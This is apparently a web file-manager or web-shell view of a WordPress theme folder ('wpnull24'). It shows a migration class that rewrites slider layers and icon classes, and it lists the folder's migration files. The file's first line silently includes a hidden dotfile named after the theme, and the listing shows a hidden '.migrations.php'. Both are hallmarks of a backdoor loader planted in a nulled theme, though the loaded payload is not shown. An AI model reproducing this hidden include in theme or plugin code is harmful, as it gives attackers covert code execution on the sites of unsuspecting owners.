PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_3_8_2 extends US_Migration_Translator { // Dirty hack to use theme options function to migrate sliders public function translate_theme_options( &$options ) { $layers_changed = FALSE; global $wpdb; if($wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'revslider_slides"') == $wpdb->prefix . 'revslider_slides' ) { $wpdb_query = 'SELECT `id`, `layers` FROM `' . $wpdb->prefix . 'revslider_slides`'; foreach ( $wpdb->get_results( $wpdb_query ) as $row ) { $layers = $row->layers; $layers = json_decode( $layers, TRUE ); foreach ( $layers as $id => $layer ) { if ( ! empty( $layer['text'] ) ) { $layer_text = $layer['text']; $text_changed = $this->_translate_content( $layer_text ); if ( $text_changed ) { $layers[$id]['text'] = $layer_text; $layers_changed = TRUE; } } } if ( $layers_changed ) { $layers = json_encode( $layers ); $wpdb->update( $wpdb->prefix . 'revslider_slides', array( 'layers' => $layers, ), array( 'id' => $row->id, ) ); } } } return FALSE; } public function translate_us_btn( &$name, &$params, &$content ) { $changed = FALSE; if ( ! empty( $params['icon'] ) ) { $new_icon = $this->translate_icon_class( $params['icon'] ); if ( $new_icon != $params['icon'] ) { $params['icon'] = $new_icon; $changed = TRUE; } } if ( ! empty( $content ) ) { $content = ''; } return $changed; } private function translate_icon_class( $icon_class ) { $icon_class = trim( $icon_class ); if ( substr( $icon_class, 0, 4 ) == 'mdfi' ) { $icon_class = preg_replace( '/^mdfi_[^_]+_/', '', $icon_class ); } elseif ( substr( $icon_class, 0, 3 ) != 'fa-' AND substr( $icon_class, 0, 3 ) != 'fa ' ) { $icon_class = 'fa-' . $icon_class; } return $icon_class; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]